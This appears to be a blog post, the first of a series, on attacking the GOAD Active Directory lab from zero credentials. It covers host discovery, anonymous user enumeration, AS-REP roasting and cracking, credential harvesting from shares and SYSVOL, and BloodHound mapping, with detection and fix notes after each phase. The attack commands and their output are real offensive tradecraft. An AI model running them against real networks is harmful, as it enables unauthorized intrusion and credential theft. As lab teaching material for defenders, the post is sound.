Series · 4 partsAssessing Active DirectoryPart 1 · You are here
- 1GOAD Part 1: From Zero Credentials to the Attack GraphYou are here
- 2GOAD Part 2: Owning the NORTH Domain Controller
- 3GOAD Part 3: Walking the ACL Chain to the Forest Root
- 4GOAD Part 4: Owning essos.local Across the Forest Trust
Why I set up GOAD for this series
Single-DC practice machines run out of lessons pretty quickly. In real assessments, Active Directory usually breaks across trusts, delegation, certificate services, GPO permissions, and ACL chains. You only see those relationships when more than one domain is involved. I built this series around GOAD (Game of Active Directory) by Orange Cyberdefense because it packs two forests, three domains, and five servers into one network.
I stick to two habits throughout these notes. First, I use NetExec (nxc) by default since it gives me one syntax across SMB, LDAP, Kerberos, MSSQL, and WinRM. When another tool is better suited for a specific step, I switch to it. Second, I write down how to detect each step and how to fix it right below the output. Grabbing a password is only half the job; knowing what log it leaves behind and which setting closes the hole is the part that actually helps on an engagement. My checklist follows the S1ckB0y1337 AD Exploitation cheat sheet and HackTricks so I do not skip the basics.
In this first part, I start with zero credentials on my Kali machine (ghost@kali), which is routed (not bridged) into the 192.168.56.0/24 lab network. The very first task is finding which hosts exist at all, and that discovery step teaches something most write-ups skip. From there I work up to valid accounts across all three domains plus a full BloodHound graph. If you want to look at how the two forests, directory partitions, trustedDomain objects, DNS forwarders, and service tiers are wired up before we break them, I wrote a separate note on Multi-Forest Active Directory Architecture: How Forests, Trusts, DNS, and Tiered Services Actually Work.
sevenkingdoms.local and essos.local), child domain north.sevenkingdoms.local, domain controllers, member servers, and network services.sevenkingdoms.local and essos.local) connected by a cross-forest trust, with north.sevenkingdoms.local as a child domain.Lab baseline and defensive posture
The official GOAD documentation specifies five Windows hosts spanning two forests and three domains on the 192.168.56.0/24 subnet:
| Host | IP | Domain | Role | OS | Windows Defender |
|---|---|---|---|---|---|
DC01 (kingslanding) | 192.168.56.10 | sevenkingdoms.local | Forest Root DC, Enterprise CA (AD CS) | Windows Server 2019 | Enabled |
DC02 (winterfell) | 192.168.56.11 | north.sevenkingdoms.local | Child Domain DC, DNS | Windows Server 2019 | Enabled |
SRV02 (castelblack) | 192.168.56.22 | north.sevenkingdoms.local | Member Server, IIS (ASP Upload), MSSQL | Windows Server 2019 | Disabled |
DC03 (meereen) | 192.168.56.12 | essos.local | Forest Root DC, Enterprise CA (AD CS) | Windows Server 2016 | Enabled |
SRV03 (braavos) | 192.168.56.23 | essos.local | Member Server, MSSQL, LAPS, gMSA | Windows Server 2016 | Enabled |
[!NOTE] In GOAD’s design, Windows Defender is intentionally disabled on
castelblack(SRV02) to permit web shell and SQL exploitation demonstrations without local AV intervention. In contrast, all three Domain Controllers run with Defender active, demonstrating that memory-only Kerberos attacks, LDAP queries, and ticket manipulation generate zero on-disk AV alerts.
Initial vectors and scenario mapping
Every user in the lab is modeled around a specific Active Directory vulnerability pattern:
| Account / Object | Domain | Misconfiguration / Vector | Assessment Phase |
|---|---|---|---|
samwell.tarly | NORTH | Password in LDAP description field | Part 1 (Foothold) & Part 2 (GPO Abuse) |
missandei | ESSOS | Kerberos pre-authentication disabled (AS-REP Roasting) | Part 1 (Foothold) & Part 4 (Trust Abuse) |
jon.snow | NORTH | SPN configured (Kerberoasting) & MSSQL sysadmin | Part 2 & MSSQL Linked Servers |
tywin.lannister | SEVENKINGDOMS | Encrypted SecureString credentials in SYSVOL | Part 1 & Part 3 (ACL Chain) |
rickon.stark | NORTH | Predictable seasonal password (WinterYYYY) | Part 1 (Password Spray Alternative) |
eddard.stark / robb.stark | NORTH | Simulated bot accounts triggering periodic LLMNR traffic | Part 1 (Passive Poisoning Alternative) |
StarkWallpaper GPO | NORTH | Misconfigured DACL allowing user-level scheduled tasks | Part 2 (Privilege Escalation) |
khal.drogo / viserys | ESSOS | GenericAll ACL chain & Shadow Credentials | Part 4 (Forest Compromise) |
Phase 1: Host discovery and SMB signing
Dropped onto an assessment with a routed connection to the target subnet (192.168.56.0/24) and zero credentials, the first step is discovering live hosts. Since we are reaching the lab across a routed path, we run an ICMP Layer 3 sweep using fping:
$ fping -ag 192.168.56.0/24 2>/dev/null
192.168.56.1
192.168.56.10
192.168.56.11
192.168.56.12
192.168.56.22
192.168.56.23
Six addresses respond. .1 is the gateway; the other five are the Windows hosts we care about.
With five live hosts in hand, the next question is which ones are Windows, which are Domain Controllers, and where SMB signing is turned off. One unauthenticated nxc smb sweep answers all three:
$ nxc smb 192.168.56.10 192.168.56.11 192.168.56.12 192.168.56.22 192.168.56.23
SMB 192.168.56.12 445 MEEREEN [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:MEEREEN) (domain:essos.local) (signing:True) (SMBv1:True) (Null Auth:True)
SMB 192.168.56.23 445 BRAAVOS [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:BRAAVOS) (domain:essos.local) (signing:False) (SMBv1:True)
SMB 192.168.56.11 445 WINTERFELL [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 192.168.56.22 445 CASTELBLACK [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:None)
SMB 192.168.56.10 445 KINGSLANDING [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)
Next, I run a quick TCP port scan to separate the Domain Controllers from the member servers:
$ nmap -Pn -sT -p 53,80,88,135,139,389,445,464,636,1433,3268,3389,5985,9389 --open 192.168.56.10-23 -oG -
Host: 192.168.56.10 Ports: 53, 80, 88, 135, 139, 389, 445, 464, 636, 3268, 3389, 5985, 9389
Host: 192.168.56.11 Ports: 53, 88, 135, 139, 389, 445, 464, 636, 3268, 3389, 5985, 9389
Host: 192.168.56.12 Ports: 53, 80, 88, 135, 139, 389, 445, 464, 636, 3268, 3389, 5985, 9389
Host: 192.168.56.22 Ports: 80, 135, 139, 445, 1433, 3389, 5985
Host: 192.168.56.23 Ports: 80, 135, 139, 445, 1433, 3389, 5985
The hosts listening on 88 (Kerberos), 389/636 (LDAP/LDAPS), 3268 (Global Catalog), and 9389 (AD Web Services) are our three Domain Controllers (.10, .11, .12). Both .10 and .12 also have port 80/tcp open on a DC, which usually points to AD CS Web Enrollment and will matter later when we look at certificate templates. The two member servers (.22 and .23) run MSSQL on 1433. Most importantly, CASTELBLACK (.22) and BRAAVOS (.23) both return signing:False, meaning any coerced or poisoned NTLM authentication can be relayed straight to them.
Detection: You can check SMB signing status across your own fleet with Get-SmbServerConfiguration or a periodic scan, and you should alert on incoming NTLM authentications to servers where signing is not required.
Control: Enable Microsoft network server: Digitally sign communications (always) via GPO on all member servers, disable SMBv1 (MEEREEN and BRAAVOS still have it enabled), and restrict NTLM where Kerberos can be used instead.
Phase 2: Mapping the forests and trusts
The SMB banners gave us three DNS names (sevenkingdoms.local, north.sevenkingdoms.local, and essos.local), but domain names alone do not prove how the directory is structured. I check DNS SRV records and the LDAP RootDSE to confirm the actual topology:
$ for d in sevenkingdoms.local north.sevenkingdoms.local essos.local; do
echo "=== $d ==="; dig @192.168.56.10 _ldap._tcp.dc._msdcs.$d SRV +short; done
=== sevenkingdoms.local ===
0 100 389 kingslanding.sevenkingdoms.local.
=== north.sevenkingdoms.local ===
0 100 389 winterfell.north.sevenkingdoms.local.
=== essos.local ===
0 100 389 meereen.essos.local.
Notice that 192.168.56.10 resolves essos.local right away. An isolated forest has no idea how to resolve another forest’s internal zone unless someone configured a conditional forwarder, which is required before setting up a cross-forest trust. Querying RootDSE on all three DCs confirms how the partitions line up:
$ for ip in 192.168.56.10 192.168.56.11 192.168.56.12; do
echo "=== $ip ==="; ldapsearch -x -H ldap://$ip -b "" -s base \
defaultNamingContext rootDomainNamingContext | grep -E "^(default|root)"; done
=== 192.168.56.10 ===
defaultNamingContext: DC=sevenkingdoms,DC=local
rootDomainNamingContext: DC=sevenkingdoms,DC=local
=== 192.168.56.11 ===
defaultNamingContext: DC=north,DC=sevenkingdoms,DC=local
rootDomainNamingContext: DC=sevenkingdoms,DC=local
=== 192.168.56.12 ===
defaultNamingContext: DC=essos,DC=local
rootDomainNamingContext: DC=essos,DC=local
On .11, defaultNamingContext (DC=north,DC=sevenkingdoms,DC=local) is different from rootDomainNamingContext (DC=sevenkingdoms,DC=local). That confirms north is a child domain sharing the same forest, Schema, and Configuration partitions as .10. Taking over the child domain puts us inside the same security boundary as the forest root. Meanwhile, .12 is its own forest root (DC=essos,DC=local), connected over a cross-forest trust.
Detection: RootDSE queries are unauthenticated by design so clients can locate a DC before logging in. You will not catch this in a DC log; it is a network segmentation question.
Control: Restrict LDAP and Global Catalog ports (389/636/3268) from untrusted networks, and always treat the forest (not the individual domain) as your actual security boundary.
Phase 3: Unauthenticated user enumeration
In Phase 1, nxc reported Null Auth:True on all three DCs, but allowing an anonymous SMB session is not the same thing as allowing anonymous SAMR queries. I test all three DCs with --users to see which one actually leaks its account list:
$ nxc smb 192.168.56.10 192.168.56.11 192.168.56.12 -u '' -p '' --users
SMB 192.168.56.10 445 KINGSLANDING [+] sevenkingdoms.local\:
SMB 192.168.56.11 445 WINTERFELL [+] north.sevenkingdoms.local\:
SMB 192.168.56.12 445 MEEREEN [+] essos.local\:
SMB 192.168.56.11 445 WINTERFELL -Username- -Last PW Set- -BadPW- -Description-
SMB 192.168.56.11 445 WINTERFELL Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 192.168.56.11 445 WINTERFELL arya.stark 2026-11-03 13:30:26 0 Arya Stark
SMB 192.168.56.11 445 WINTERFELL sansa.stark 2026-11-03 13:30:44 0 Sansa Stark
SMB 192.168.56.11 445 WINTERFELL brandon.stark 2026-11-03 13:30:48 0 Brandon Stark
SMB 192.168.56.11 445 WINTERFELL rickon.stark 2026-11-03 13:30:52 0 Rickon Stark
SMB 192.168.56.11 445 WINTERFELL hodor 2026-11-03 13:30:56 0 Brainless Giant
SMB 192.168.56.11 445 WINTERFELL jon.snow 2026-11-03 13:30:59 0 Jon Snow
SMB 192.168.56.11 445 WINTERFELL samwell.tarly 2026-11-03 13:31:03 0 Samwell Tarly (Password : Heartsbane)
SMB 192.168.56.11 445 WINTERFELL jeor.mormont 2026-11-03 13:31:06 0 Jeor Mormont
SMB 192.168.56.11 445 WINTERFELL sql_svc 2026-11-03 13:31:10 0 sql service
SMB 192.168.56.11 445 WINTERFELL [*] Enumerated 10 local users: NORTH
KINGSLANDING and MEEREEN accept the null bind but block the SAMR query. WINTERFELL (.11), on the other hand, hands over all ten NORTH accounts without a single login attempt, so badPwdCount stays at zero. Right in the description field for samwell.tarly, someone left (Password : Heartsbane). I also test hodor with his own username as the password, and both work:
$ nxc smb 192.168.56.11 -u samwell.tarly -p Heartsbane
SMB 192.168.56.11 445 WINTERFELL [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
$ nxc smb 192.168.56.11 -u hodor -p hodor
SMB 192.168.56.11 445 WINTERFELL [+] north.sevenkingdoms.local\hodor:hodor
Detection: Anonymous SAMR enumeration triggers Event ID 4661 and 4662 on the DC from an anonymous logon session. Passwords left in user descriptions can be caught with a simple LDAP audit looking for strings like pass or pwd in description and info.
Control: Set RestrictAnonymous = 1 and RestrictAnonymousSAM = 1 (and remove Everyone and Anonymous Logon from Network access: Let Everyone permissions apply to anonymous users), and clear any credentials out of AD object descriptions.
Phase 4: AS-REP Roasting
If an account has Do not require Kerberos pre-authentication (UF_DONT_REQUIRE_PREAUTH) enabled, anyone can ask the KDC for an AS-REP ticket without knowing the password, and the encrypted part of that response can be cracked offline (MITRE T1558.004). I feed the NORTH user list and a short list of ESSOS names into impacket-GetNPUsers:
$ impacket-GetNPUsers north.sevenkingdoms.local/ -dc-ip 192.168.56.11 -usersfile north_users.txt -no-pass -format hashcat
[-] User arya.stark doesn’t have UF_DONT_REQUIRE_PREAUTH set
[-] User sansa.stark doesn’t have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$brandon[email protected]:f5783d384b0334dd573619ab77cf9694$5241...<snip>
[-] User jon.snow doesn’t have UF_DONT_REQUIRE_PREAUTH set
...
$ impacket-GetNPUsers essos.local/ -dc-ip 192.168.56.12 -usersfile essos_users.txt -no-pass -format hashcat
$krb5asrep$23$missandei@ESSOS.LOCAL:c80486622b4c57e0d168338333c1e4f7$23f3...<snip>
Both responses come back encrypted with RC4 (etype 23), which means the KDC encrypted them directly with the account’s NT hash. Running hashcat with rockyou.txt cracks both in a couple of seconds:
$ hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt
$krb5asrep$23$brandon[email protected]:...:iseedeadpeople
$krb5asrep$23$missandei@ESSOS.LOCAL:...:fr3edom
That gives us brandon.stark : iseedeadpeople in NORTH and missandei : fr3edom in ESSOS, which gets us into the second forest without ever logging into it first.
Detection: An AS-REQ without pre-authentication logs Event ID 4768 with Pre-Authentication Type 0. Any pre-auth type 0 request for a normal user account is worth alerting on.
Control: Remove UF_DONT_REQUIRE_PREAUTH across all user accounts. If a legacy application genuinely requires it, assign a random 25+ character password to that account.
Phase 5: Hunting for credentials in SMB shares and SYSVOL
Once I have a single working account (samwell.tarly), I check which SMB shares it can read or write across all five hosts:
$ nxc smb 192.168.56.10 192.168.56.11 192.168.56.12 192.168.56.22 192.168.56.23 \
-u samwell.tarly -p Heartsbane -d north.sevenkingdoms.local --shares
SMB 192.168.56.10 445 KINGSLANDING [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
SMB 192.168.56.23 445 BRAAVOS [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane
SMB 192.168.56.22 445 CASTELBLACK all READ,WRITE Basic RW share for all
SMB 192.168.56.22 445 CASTELBLACK public READ,WRITE Basic Read share for all domain users
SMB 192.168.56.23 445 BRAAVOS all READ,WRITE Basic RW share for all
SMB 192.168.56.23 445 BRAAVOS CertEnroll READ Active Directory Certificate Services share
SMB 192.168.56.10 445 KINGSLANDING CertEnroll READ Active Directory Certificate Services share
Seeing samwell.tarly from NORTH authenticate to BRAAVOS in essos.local confirms the cross-forest trust is active. The two CertEnroll shares also confirm that both forests run Active Directory Certificate Services. Looking inside \\castelblack\all and the SYSVOL scripts folder on winterfell turns up three more files:
$ smbclient //192.168.56.22/all -U "north.sevenkingdoms.local/samwell.tarly%Heartsbane" -c "get arya.txt -"
... I left a little surprise for you in your room - the sword You’ve named "Needle." ...
$ smbclient //192.168.56.11/SYSVOL -U "north.sevenkingdoms.local/samwell.tarly%Heartsbane" \
-c 'get north.sevenkingdoms.local\scripts\script.ps1 -'
$user = "NORTH\jeor.mormont"
$password = "_L0ngCl@w_"
$ smbclient //192.168.56.11/SYSVOL -U "north.sevenkingdoms.local/samwell.tarly%Heartsbane" \
-c 'get north.sevenkingdoms.local\scripts\secret.ps1 -'
# secret stored :
$keyData = 177, 252, 228, 64, 28, 91, 12, 201, 20, 91, 21, 139, 255, 65, 9, 247, ...
$secret = "76492d1116743f0423413b16050a5345MgB8AGkAcwBDACsAUwAr...<snip>"
# T.L.
Each file gives us another set of credentials:
arya.txtmentions the sword Needle, and testingarya.stark : Needleagainst.11succeeds.script.ps1hasjeor.mormont : _L0ngCl@w_hardcoded in plaintext.secret.ps1uses a PowerShellSecureString, but the 32-byte AES key ($keyData) is sitting right above$secret. Decrypting it withConvertTo-SecureString -Key $keyDatainpwshrevealspowerkingftw135, and the# T.L.comment points totywin.lannisterin the parent domainsevenkingdoms.local.
Detection: Since SYSVOL and NETLOGON have to be readable by every domain member, you cannot alert on read access alone. Instead, scan those folders regularly for hardcoded credentials, ConvertTo-SecureString, or AES key arrays, and monitor writable file shares for suspicious files.
Control: Move logon scripts and scheduled tasks off hardcoded credentials and onto gMSAs. Remove Domain Users write permissions from shared folders like all and public, because any world-writable share lets an attacker drop .scf or .url files to coerce NTLM hashes from anyone browsing the folder.
Phase 6: Mapping the attack surface with BloodHound
At this point I have working credentials in all three domains. I run bloodhound-ce-python to pull the users, groups, computers, ACLs, SPNs, delegation settings, and trusts from LDAP:
$ bloodhound-ce-python -c All -u samwell.tarly -p Heartsbane \
-d north.sevenkingdoms.local -ns 192.168.56.10 --zip
INFO: Found AD domain: north.sevenkingdoms.local
INFO: Connecting to LDAP server: winterfell.north.sevenkingdoms.local
INFO: Found 17 users, 51 groups, 2 computers, 1 trust
INFO: Compressing output into 20261103_bloodhound.zip
After running the same collection against sevenkingdoms.local and essos.local and importing the zip files into BloodHound CE, I mark our compromised accounts as Owned. Querying the shortest path from tywin.lannister to the forest-root DC lays out an eight-hop ACL chain that we will walk step by step in Part 3:

tywin.lannister to KINGSLANDING (DC01): ForceChangePassword → GenericWrite → WriteDacl → AddSelf → AddMember → WriteOwner → GenericAll → GenericAll. Every hop relies on permissions that an ordinary authenticated user can read from LDAP.None of this required admin rights to discover; Active Directory allows Authenticated Users to read object security descriptors by default. BloodHound also lists every Kerberoastable and AS-REP roastable account across the three domains, which sets up our targets for Part 2:

jon.snow, sql_svc, sansa.stark) are our Kerberoasting targets in Part 2.Detection: BloodHound collection generates a spike of LDAP queries across all object classes along with SMB session enumeration on member servers. Defenders can watch for heavy LDAP sweeps (Event ID 1644 / 2889 when LDAP diagnostics are enabled) coming from non-admin workstations.
Control: You cannot turn off LDAP read access without breaking Active Directory, so the real fix is pruning the attack paths themselves: cleaning up stray ACLs (GenericAll, WriteDacl, WriteOwner), removing unnecessary delegation flags, and flattening tangled group memberships.
Summary of findings
| Finding | Host / domain | Impact | Verify (from Kali) | Control |
|---|---|---|---|---|
| SMB signing not required | castelblack .22, braavos .23 | NTLM relay target | nxc smb 192.168.56.22 192.168.56.23 | Enforce SMB signing (always) via GPO; disable SMBv1 |
| Child domain shares forest with root | winterfell .11 | Child compromise reaches the forest boundary | ldapsearch -x -H ldap://192.168.56.11 -b "" -s base rootDomainNamingContext | Treat the forest, not the domain, as the security boundary |
| Anonymous SAMR user enumeration | winterfell .11 | Leaks all 10 NORTH users + samwell.tarly:Heartsbane | nxc smb 192.168.56.11 -u '' -p '' --users | RestrictAnonymous=1; audit description for secrets |
| AS-REP roastable accounts | brandon.stark, missandei | Offline-crackable (iseedeadpeople, fr3edom) | nxc ldap <dc> -u '' -p '' --asreproast out.txt | Require Kerberos pre-auth; long random passwords |
| Secrets in shares & SYSVOL | \\castelblack\all, \\winterfell\SYSVOL | arya:Needle, jeor.mormont (_L0ngCl@w_), tywin.lannister (powerkingftw135) | nxc smb <hosts> -u <user> -p <pass> --shares then smbclient | No secrets in scripts; gMSA; remove Domain Users write |
| World-writable shares | castelblack, braavos | NTLM coercion via dropped .scf/.url | nxc smb 192.168.56.22 -u <user> -p <pass> --shares | Remove write for Domain Users; monitor share writes |
| Readable attack graph | all three domains | ACL chains, Kerberoast, delegation to Tier 0 | bloodhound-ce-python -c All -u <user> -p <pass> -d <domain> -ns <dc> | Reduce edges: audit ACLs, delegation, group nesting |
Up next in Part 2
With working accounts in every domain and the BloodHound data loaded, Part 2 moves into north.sevenkingdoms.local to take over DC02: Kerberoasting jon.snow and sql_svc, abusing constrained delegation with S4U2Self and S4U2Proxy, and injecting a scheduled task through a writable GPO owned by samwell.tarly.
Evidence and limits
The command transcripts and BloodHound captures in this post come from the isolated GOAD instance described in the lab build note, starting from a clean snapshot and a Kali host with no domain credentials. Long hashes, encrypted blobs, and repetitive tool output are shortened where they do not change the result; successful and failed authentication signals are kept so the sequence can be checked.
GOAD deliberately embeds weak passwords, anonymous access, writable shares, and unsafe ACLs. Their presence demonstrates the discovery method, not their frequency in production. No scan or authentication attempt left the host-only lab network, and none of the displayed accounts or secrets belongs to a real organization.
References
- Orange Cyberdefense, GOAD (Game of Active Directory): orange-cyberdefense.github.io/GOAD
- S1ckB0y1337, Active Directory Exploitation Cheat Sheet: github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
- HackTricks, Active Directory Methodology: book.hacktricks.xyz
- MITRE ATT&CK, AS-REP Roasting (T1558.004): attack.mitre.org/techniques/T1558/004
- RFC 4120, The Kerberos Network Authentication Service (V5): datatracker.ietf.org/doc/html/rfc4120
- Microsoft, Best Practices for Securing Active Directory: learn.microsoft.com
How current is this note?
The latest source-review, content-update, or publication date is shown.
Primary public records were checked. Environment-specific behavior remains outside the claim unless separately reproduced.

